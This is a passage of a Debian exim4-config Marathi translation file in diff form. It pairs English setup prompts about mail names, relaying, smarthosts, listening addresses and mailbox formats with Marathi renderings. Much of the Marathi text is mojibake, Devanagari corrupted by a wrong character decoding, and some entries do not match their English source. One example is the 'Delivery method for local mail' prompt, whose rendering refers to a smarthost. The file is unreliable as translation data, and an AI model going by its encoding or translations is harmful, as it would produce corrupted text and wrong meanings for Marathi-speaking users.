नाव:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'टपाल नाव' हे डोमेन नावाशिवायचा टपाल पतà¥à¤¤à¤¾ 'पातà¥à¤° ठरवणà¥à¤¯à¤¾à¤¸à¤¾à¤ ी' वापरायचे डोमेन नाव " +"आहे." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"हे नाव इतर पà¥à¤°à¥‹à¤—à¥à¤°à¤¾à¤® सà¥à¤¦à¥à¤§à¤¾ वापरतील; ते à¤à¤•à¤Ÿà¥‡, संपूरà¥à¤£ डोमेन नाव (à¤à¤«à¤•à¥à¤¯à¥‚डीà¤à¤¨) असले पाहिजे, " +"जà¥à¤¯à¤¾à¤šà¥à¤¯à¤¾à¤ªà¤¾à¤¸à¥‚न टपालाचा उगम à¤à¤¾à¤²à¥à¤¯à¤¾à¤šà¥‡ à¤à¤¾à¤¸à¥‡à¤²." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"मà¥à¤¹à¤£à¤œà¥‡, जर सà¥à¤¥à¤¾à¤¨à¤¿à¤• यजमानावर टपाल पतà¥à¤¤à¤¾ फू@à¤à¤•à¥à¤à¤¾à¤®à¥à¤ªà¤².ऑरà¥à¤— असेल, तर या परà¥à¤¯à¤¾à¤¯à¤¾à¤šà¥‡ योगà¥à¤¯ मूलà¥à¤¯ " +"à¤à¤•à¥à¤à¤¾à¤®à¥à¤ªà¤².ऑरà¥à¤— असेल." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"आपण पà¥à¤¨à¤°à¥à¤²à¥‡à¤–न कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® केलà¥à¤¯à¤¾à¤¸ हे नाव बाहेर पाठवलà¥à¤¯à¤¾ जाणाऱà¥à¤¯à¤¾ पतà¥à¤°à¤¾à¤‚मधील कडून: ओळींमधे " +"दिसणार नाही." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤£à¥à¤¯à¤¾à¤¸à¤¾à¤ ीची इतर अंत-सà¥à¤¥à¤³à¥‡:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"सà¥à¤¥à¤¾à¤¨à¤¿à¤• यजमान-नाव (${à¤à¤«à¤•à¥à¤¯à¥‚डीà¤à¤¨}) आणी \"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤¯à¤œà¤®à¤¾à¤¨\" वà¥à¤¯à¤¤à¤¿à¤°à¤¿à¤•à¥à¤¤ या मशीनसाठी अंतिम " +"अंत-सà¥à¤¥à¤³à¥‡ ठरू शकतील अशा डोमेनसà¥à¤šà¥€ यादी दà¥à¤¯à¤¾." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"मूलतः सरà¥à¤µ डोमेनसà¥à¤¨à¤¾ समान वागणूक दिली जाईल; जर आपलà¥à¤¯à¤¾à¤²à¤¾ वेगवेगळà¥à¤¯à¤¾ डोमेन नावांना वेगवेगळी " +"वागणूक दà¥à¤¯à¤¾à¤¯à¤šà¥€ असेल, तर तà¥à¤®à¥à¤¹à¤¾à¤²à¤¾ मागाहून विनà¥à¤¯à¤¾à¤¸ फाइल संपादित करावी लागेल." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ीचे डोमेनसà¥:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"जà¥à¤¯à¤¾ पà¥à¤°à¤¾à¤ªà¥à¤¤à¤•à¤°à¥à¤¤à¥à¤¯à¤¾ डोमेन करिता ही पà¥à¤°à¤£à¤¾à¤²à¥€ टपाल पाठवणार आहे, उदाहरणारà¥à¤¥, फालबॅक à¤à¤®à¤à¤•à¥à¥Š " +"किंवा टपाल गेटवे, अशांची अरà¥à¤§à¤µà¤¿à¤°à¤¾à¤®à¤¾à¤¨à¥‡ विलग केलेली यादी दà¥à¤¯à¤¾. याचा अरà¥à¤¥ असा की ही " +"पà¥à¤°à¤£à¤¾à¤²à¥€ या डोमेनकरिता महाजालावरून कोठà¥à¤¨à¤¹à¥€ टपालाचा सà¥à¤µà¤¿à¤•à¤¾à¤° करेल व सà¥à¤¥à¤¾à¤¨à¤¿à¤• वितरण " +"नियमांनà¥à¤¸à¤¾à¤° तà¥à¤¯à¤¾à¤‚चे वितरण करेल." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "इथे सà¥à¤¥à¤¾à¤¨à¤¿à¤• डोमेनचा उलà¥à¤²à¥‡à¤– करू नका. वाइलà¥à¤¡à¤•à¤¾à¤°à¥à¤¡à¤¾à¤‚चा वापर करता येइल." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ीची मशीनसà¥:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ मà¥à¤¹à¤£à¥‚न कारà¥à¤¯ करून जà¥à¤¯à¤¾à¤‚चà¥à¤¯à¤¾à¤¸à¤¾à¤ ी ही पà¥à¤°à¤£à¤¾à¤²à¥€ विनाअट टपाल हसà¥à¤¤à¤¾à¤‚तरित करेल,अशा " +"आयपी पतà¥à¤¤à¥à¤¯à¤¾à¤‚ची अरà¥à¤§à¤µà¤¿à¤°à¤¾à¤®à¤¾à¤¨à¥‡ विलग केलेली यादी दà¥à¤¯à¤¾." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"काही असलà¥à¤¯à¤¾à¤¸ विसरà¥à¤—ांनी वेगळे करून तà¥à¤¯à¤¾à¤‚ची इथे नोंद करा. आपण पà¥à¤°à¤®à¤¾à¤£à¤¿à¤¤ पतà¥à¤¤à¤¾/लांबी संरूप " +"वापरणे आवशà¥à¤¯à¤• आहे (उदा. १९४.२२२.२४२.०/२४)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"जर ही पà¥à¤°à¤£à¤¾à¤²à¥€ कोणतà¥à¤¯à¤¾à¤¹à¥€ इतर यजमानाकरिता सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ होणार नसेल तर, ही यादी रिकामी " +"ठेवा." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤• वापरकरà¥à¤¤à¥à¤¯à¤¾à¤‚साठी दृषà¥à¤¯ डोमेन नाव:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"पाहेर जाणाऱà¥à¤¯à¤¾ संदेशांमधे सà¥à¤¥à¤¾à¤¨à¤¿à¤• संदेश नाम लपवणà¥à¤¯à¤¾à¤šà¤¾ परà¥à¤¯à¤¾à¤¯ कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® केला गेला आहे. " +"तà¥à¤¯à¤¾à¤®à¥à¤³à¥‡, सà¥à¤¥à¤¾à¤¨à¤¿à¤• वापरकरà¥à¤¤à¥à¤¯à¤¾à¤šà¥à¤¯à¤¾ 'पाठवणाऱà¥à¤¯à¤¾à¤šà¥‡ पतà¥à¤¤à¥‡ मधील डोमेन à¤à¤¾à¤—ाकरिता पà¥à¤°à¤£à¤¾à¤²à¥€à¤¨à¥‡ " +"वापरायचे डोमेन नाव निरà¥à¤§à¤¾à¤°à¤¿à¤¤ करणे आवशà¥à¤¯à¤• आहे." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "बाहेर जाणाऱà¥à¤¯à¤¾ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿà¤šà¤¾ आयपी पतà¥à¤¤à¤¾ किंवा हॉसà¥à¤Ÿ नाव:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"बाहेर जाणारा सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ मà¥à¤¹à¤£à¥‚न पà¥à¤°à¤£à¤¾à¤²à¥€à¤¤à¤°à¥à¤«à¥‡ वापरला जाईल अशा टपाल परिसेवकाचा आयपी " +"पतà¥à¤¤à¥à¤¾ किंवा यजमान नाव दà¥à¤¯à¤¾. जर हा सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ टीसीपी २५ à¤à¥‡à¤µà¤œà¥€ फकà¥à¤¤ अनà¥à¤¯ पोरà¥à¤Ÿ वरच " +"टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤¤ असेल तर दोन सà¥à¤¤à¤‚ठव पोरà¥à¤Ÿ कà¥à¤°à¤®à¤¾à¤‚क जोडा (उदाहरणारà¥à¤¥ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ " +"उदाहरण::५८ॠकिंवा ९२ १६८ २५४ २५४::२५२५). आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚मधील विराम दà¥à¤ªà¥à¤ªà¤Ÿ करणे " +"गरजेचे आहे." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ पà¥à¤°à¤®à¤¾à¤£à¤¨ संरचित करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ीचà¥à¤¯à¤¾ माहितीकरिता /वापरकरà¥à¤¤à¤¾/सामायिक/दसà¥à¤¤à¤¾à¤µà¥‡à¤œ/" +"à¤à¤•à¥à¤à¤¿à¤®à¥ª-पाया/माहितीवाचा.डेबियन.à¤à¤šà¤Ÿà¥€à¤à¤®à¤à¤² पहा." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "मूल आणी पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤° सà¥à¤µà¥€à¤•à¤¾à¤°à¤•à¤°à¥à¤¤à¤¾:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"'पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°', 'मूल', व पà¥à¤°à¤£à¤¾à¤²à¥€à¤šà¥à¤¯à¤¾ इतर खातà¥à¤¯à¤¾à¤‚चे टपाल पà¥à¤°à¤¤à¥à¤¯à¤•à¥à¤·à¤¾à¤¤à¥€à¤² पà¥à¤°à¤£à¤¾à¤²à¥€ पà¥à¤°à¤¶à¤¾à¤¸à¤•à¤¾à¤šà¥à¤¯à¤¾ " +"वापरकरà¥à¤¤à¤¾ खातà¥à¤¯à¤¾à¤¤ पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ करणे गरजेचे आहे." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"हे मूलà¥à¤¯ रिकà¥à¤¤ ठेवलà¥à¤¯à¤¾à¤¸, असे टपाल /वà¥à¤¹à¤¾à¤°/मेल/मेल मधे संचयित केले जाईल, जे शिफारसपातà¥à¤° नाही." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"\"पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°\", \"मूल\", आणी इतर पà¥à¤°à¤£à¤¾à¤²à¥€ खाती यांचे टपाल बहà¥à¤¦à¤¾ पà¥à¤°à¤¤à¥à¤¯à¤•à¥à¤·à¤¾à¤¤à¥€à¤² पà¥à¤°à¤£à¤¾à¤²à¥€ " +"पà¥à¤°à¤¶à¤¾à¤¸à¤•à¤¾à¤šà¥à¤¯à¤¾ वापरकरà¥à¤¤à¤¾ खातà¥à¤¯à¤¾à¤®à¤§à¥‡ पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ केले जाते. जर आपण हे मूलà¥à¤¯ रिकà¥à¤¤ ठेवले, तर असे " +"टपाल /वà¥à¤¹à¤¾à¤°/टपाल/टपाल संचित होईल, जे अयोगà¥à¤¯ वाटते. पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤šà¥‡ टपाल दà¥à¤¸à¤°à¥€à¤•à¤¡à¥‡ पाठवले न " +"जाता, जà¥à¤¯à¤¾ पà¥à¤°à¤£à¤¾à¤²à¥€à¤•à¤¡à¥‡ निरà¥à¤¦à¥‡à¤¶à¤¿à¤¤ केले आहे, तेथेच वाचले गेले पाहिजे, हे लकà¥à¤·à¤¾à¤¤ घà¥à¤¯à¤¾. मà¥à¤¹à¤£à¥‚नच आपण " +"निवडत असलेलà¥à¤¯à¤¾ वापरकरà¥à¤¤à¥à¤¯à¤¾à¤‚नी (किमान à¤à¤•à¤¾à¤¨à¥‡ तरी) तà¥à¤¯à¤¾à¤‚चे टपाल या मशीनकडून पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ " +"करता कामा नये. बळाने सà¥à¤¥à¤¾à¤¨à¤¿à¤• बटवडा करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ी \"वासà¥à¤¤à¤µà¤¿à¤•-\" पूरà¥à¤µà¤ªà¥à¤°à¤¤à¥à¤¯à¤¯ वापरा." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "रिकà¥à¤¤ जागांनी विलग केलेली à¤à¤• वा अनेक वापरकरà¥à¤¤à¤¾ नावे दà¥à¤¯à¤¾." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "येणाऱà¥à¤¯à¤¾ à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ जोडणà¥à¤¯à¤¾ ऎकणà¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ आय-पी पतà¥à¤¤à¥‡:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"अरà¥à¤§à¤µà¤¿à¤°à¤¾à¤®à¤¾à¤¨à¥‡ विलग केलेली आयपी पतà¥à¤¤à¥à¤¯à¤¾à¤‚ची यादी दà¥à¤¯à¤¾. à¤à¤•à¥à¤à¤¿à¤® à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ चा à¤à¥‡à¤•à¤£à¥à¤¯à¤¾à¤šà¤¾ " +"कारà¥à¤¯à¤•à¥à¤°à¤® या यादीतील सरà¥à¤µ आयपी पतà¥à¤¤à¥à¤¯à¤¾à¤‚ना à¤à¥‡à¤•à¥‡à¤²." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"जर आपण हे मूलà¥à¤¯ रिकà¥à¤¤ ठेवले, तर à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ पोरà¥à¤Ÿà¤µà¤°à¥€à¤² सरà¥à¤µ उपलबà¥à¤§ नेटवरà¥à¤• अंतराफलकांचà¥à¤¯à¤¾ " +"जोडणà¥à¤¯à¤¾ à¤à¤•à¥à¤à¤¿à¤® ऎकेल." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"जर या संगणकाला इतर यजमानांकडून दर à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ थेट टपाल येत नसेल, पण फेचमेल वा " +"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤¯à¤œà¤®à¤¾à¤¨ शी बोलणाऱà¥à¤¯à¤¾ तà¥à¤®à¤šà¥à¤¯à¤¾ इ-मेल पà¥à¤°à¥‹à¤—à¥à¤°à¥…म (à¤à¤®à¤¯à¥‚à¤) सारखà¥à¤¯à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤• सेवांकडून येत " +"असेल, तर आपण हा परà¥à¤¯à¤¾à¤¯ १२à¥.०.०.१ ठेऊन व तà¥à¤¯à¤¾à¤®à¥à¤³à¥‡ सारà¥à¤µà¤œà¤¨à¤¿à¤• नेटवरà¥à¤• अंतराफलकांना à¤à¥†à¤•à¤£à¥‡ " +"अकà¥à¤·à¤® करून à¤à¤•à¥à¤à¤¿à¤®à¤šà¥à¤¯à¤¾ बाहà¥à¤¯ जोडणà¥à¤¯à¤¾à¤‚ना पà¥à¤°à¤¤à¤¿à¤¬à¤‚ध केला पाहिजे." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "डीà¤à¤¨à¤à¤¸-चौकशा संखà¥à¤¯à¤¾ कमितकमी ठेवायची (डायल-ऑन-डिमांड)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"पà¥à¤°à¤šà¤¾à¤²à¤¨à¤¾à¤šà¥à¤¯à¤¾ नेहमीचà¥à¤¯à¤¾ पदà¥à¤§à¤¤à¥€à¤¤ à¤à¤•à¥à¤à¤¿à¤® पà¥à¤°à¤¾à¤°à¤‚ठहोताना जेंवà¥à¤¹à¤¾ संदेशांची देवाण वा घेवाण इतà¥à¤¯à¤¾à¤¦à¥€ " +"होते, नोंदींचà¥à¤¯à¤¾ उदà¥à¤¦à¥‡à¤¶à¤¾à¤¨à¥‡ आणी विनà¥à¤¯à¤¾à¤¸ फाइल मधील हारà¥à¤¡-कोडेड मूलà¥à¤¯à¤¾à¤‚ची संखà¥à¤¯à¤¾ कमी ठेवावà¥à¤¯à¤¾ " +"मà¥à¤¹à¤£à¥‚न तेंवà¥à¤¹à¤¾à¤¡à¥€à¤à¤¨à¤à¤¸-पहाणà¥à¤¯à¤¾ करते." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"जर हा डायल-ऑन-डिमांड वापरणारा सà¥à¤¥à¤¾à¤¯à¥€ डीà¤à¤¨à¤à¤¸-नावपरिसेवक-मà¥à¤à¤¾ नसलेला यजमान असता, तर " +"याचे अनावशà¥à¤¯à¤• परिणाम असे à¤à¤¾à¤²à¥‡ असते की, à¤à¤•à¥à¤à¤¿à¤® सà¥à¤°à¥‚ होताना वा रांग चालू करताना (कोणताच " +"संदेश थांबलेला नसतानाही) महागडी डायल-अप-घटना कदाचित चालू à¤à¤¾à¤²à¥€ असती." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"ही पà¥à¤°à¤£à¤¾à¤²à¥€ डायल-ऑन-डिमांड वापरत असेल, तर हा परà¥à¤¯à¤¾à¤¯ निवडा. जर कायम सà¥à¤°à¥‚ असणारी " +"महाजाल जोडणी असेल तर हा परà¥à¤¯à¤¾à¤¯ कारà¥à¤¯à¤…कà¥à¤·à¤® केला पाहिजे." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "सरà¥à¤µà¤¸à¤¾à¤§à¤¾à¤°à¤£ पà¥à¤°à¤•à¤¾à¤°à¤šà¤¾ टपाल विनà¥à¤¯à¤¾à¤¸:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "संरचनेचे छोटà¥à¤¯à¤¾ फायलींमधे विà¤à¤¾à¤œà¤¨ करायचे?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"अंतिम संरचना निरà¥à¤®à¤¿à¤¤à¥€à¤•à¤°à¤¿à¤¤à¤¾ डेबियन à¤à¤•à¥à¤à¤¿à¤®à¥ª पॅकेजेसॠà¤à¤•à¤¤à¤° à¤à¤•à¤Ÿà¥€ à¤à¤•à¤¸à¤‚ध (मोनोलिथिक) फाइल (/" +"इटीसी/à¤à¤•à¥à¤à¤¿à¤®à¥ª/à¤à¤•à¥à¤à¤¿à¤®à¥ª.रचना.नमà¥à¤¨à¤¾) किंवा /इटीसी/à¤à¤•à¥à¤à¤¿à¤®à¥ª/रचना.डी मधील अदमासे ४० लहान " +"फायली वापरू शकतात." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"आधीची मोठया बदलांकरिता जासà¥à¤¤ सोयीची आहे, व साधारणतः अधिक सà¥à¤¥à¤¿à¤° आहे, याउलट नंतरची " +"लहानसहान बदलांकरिता उपयà¥à¤•à¥à¤¤ आहे पण ती जासà¥à¤¤ नाजà¥à¤• आहे, आणी अधिक पà¥à¤°à¤®à¤¾à¤£à¤¾à¤¤ बदललà¥à¤¯à¤¾à¤¸ मोडू " +"शकेल." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"/यूà¤à¤°/शेअर/डॉक/à¤à¤•à¥à¤à¤¿à¤®à¥ª-बेस मधील डेबियन-विशिषà¥à¤ वाचा फायलींमधे विलग व अविलग " +"संरचनेसंदरà¥à¤à¤¾à¤¤ अधिक विसà¥à¤¤à¥ƒà¤¤ तपशिल मिळेल." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "बाहेर पाठवलà¥à¤¯à¤¾ जाणाऱà¥à¤¯à¤¾ पतà¥à¤°à¤¾à¤‚मधील सà¥à¤¥à¤¾à¤¨à¤¿à¤• टपाल नाव लपवायचे?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"वेगळà¥à¤¯à¤¾ पà¥à¤°à¤£à¤¾à¤²à¥€à¤®à¤§à¥‚न निरà¥à¤®à¤¾à¤£ à¤à¤¾à¤²à¥à¤¯à¤¾à¤šà¥‡ à¤à¤¾à¤¸à¤µà¤£à¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ बाहेर जाणाऱà¥à¤¯à¤¾ टपालाची शीरà¥à¤·à¤•à¥‡ कडून, " +"कडे-उतà¥à¤¤à¤°, पाठवणारा आणी परत-मारà¥à¤— यांतील \"${टपालनाव}\" \"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤¯à¤œà¤®à¤¾à¤¨\" आणी " +"\"${डीसी_इतर_यजमाननावे}\" बदलून पà¥à¤¨à¤°à¥à¤²à¥‡à¤–ित करता येतील." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/वà¥à¤¹à¤¾à¤°/मेल मधे à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ सà¥à¤µà¤°à¥‚प" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "गृह निरà¥à¤¦à¤¿à¤¶à¤¿à¤•à¥‡à¤¤ मेलडिर सà¥à¤µà¤°à¥‚प" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "टपाल सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¨à¥‡ पाठवले; सà¥à¤¥à¤¾à¤¨à¤¿à¤• पतà¥à¤° नाही" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤°à¤¿à¤¤à¥à¤¯à¤¾ वितरित केलेली ई-पतà¥à¤°à¥‡ à¤à¤•à¥à¤à¤¿à¤® विविध सà¥à¤µà¤°à¥à¤ªà¤¾à¤¤ संचयित करू शकतो. नेहमी वपरली " +"जाणारी मà¥à¤¹à¤£à¤œà¥‡ à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ व मेलडिर. à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ /वà¥à¤¹à¤¾à¤°/मेल/ मधे संचयित केलेलà¥à¤¯à¤¾ संपूरà¥à¤£ टपाल फोलà¥à¤¡à¤° " +"करिता à¤à¤•à¤š संचयिका वापरते. मेलडिर सà¥à¤µà¤°à¥‚पात पà¥à¤°à¤¤à¥à¤¯à¥‡à¤• संदेश ~/मेलडिर मधे वेगवेगळà¥à¤¯à¤¾ संचयिकेत " +"संचयित केला जातो." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"डेबियन मधील बहà¥à¤¤à¥‡à¤• सरà¥à¤µ टपाल कारà¥à¤¯à¤•à¥à¤°à¤®à¤¾à¤‚ना सà¥à¤¥à¤¾à¤¨à¤¿à¤• वितरण पदà¥à¤§à¤¤ मूलनिरà¥à¤§à¤¾à¤°à¤¿à¤¤à¤ªà¤£à¥‡ à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ " +"मधे असणे अपेकà¥à¤·à¤¿à¤¤ असते, हे लकà¥à¤·à¤¾à¤¤ घà¥à¤¯à¤¾." + +#~ msgid "Overwrite existing /etc/aliases?" +#~ msgstr "असà¥à¤¤à¤¿à¤¤à¥à¤µà¤¾à¤¤à¥€à¤² /इटीसी/उरà¥à¤«à¤¨à¤¾à¤µà¥‡ वर पà¥à¤¨à¤°à¥à¤²à¥‡à¤–न करायचे?" + +#~ msgid "" +#~ "An /etc/aliases file was found on the system, but it does not redirect " +#~ "mail for root to a user account, which is strongly recommended." +#~ msgstr "" +#~ "आपलà¥à¤¯à¤¾à¤•à¤¡à¥‡ आधीच /इटीसी/उरà¥à¤«à¤¨à¤¾à¤µà¥‡ फाइल आहे, पण ती मूल साठीचे टपाल वापरकरà¥à¤¤à¤¾ 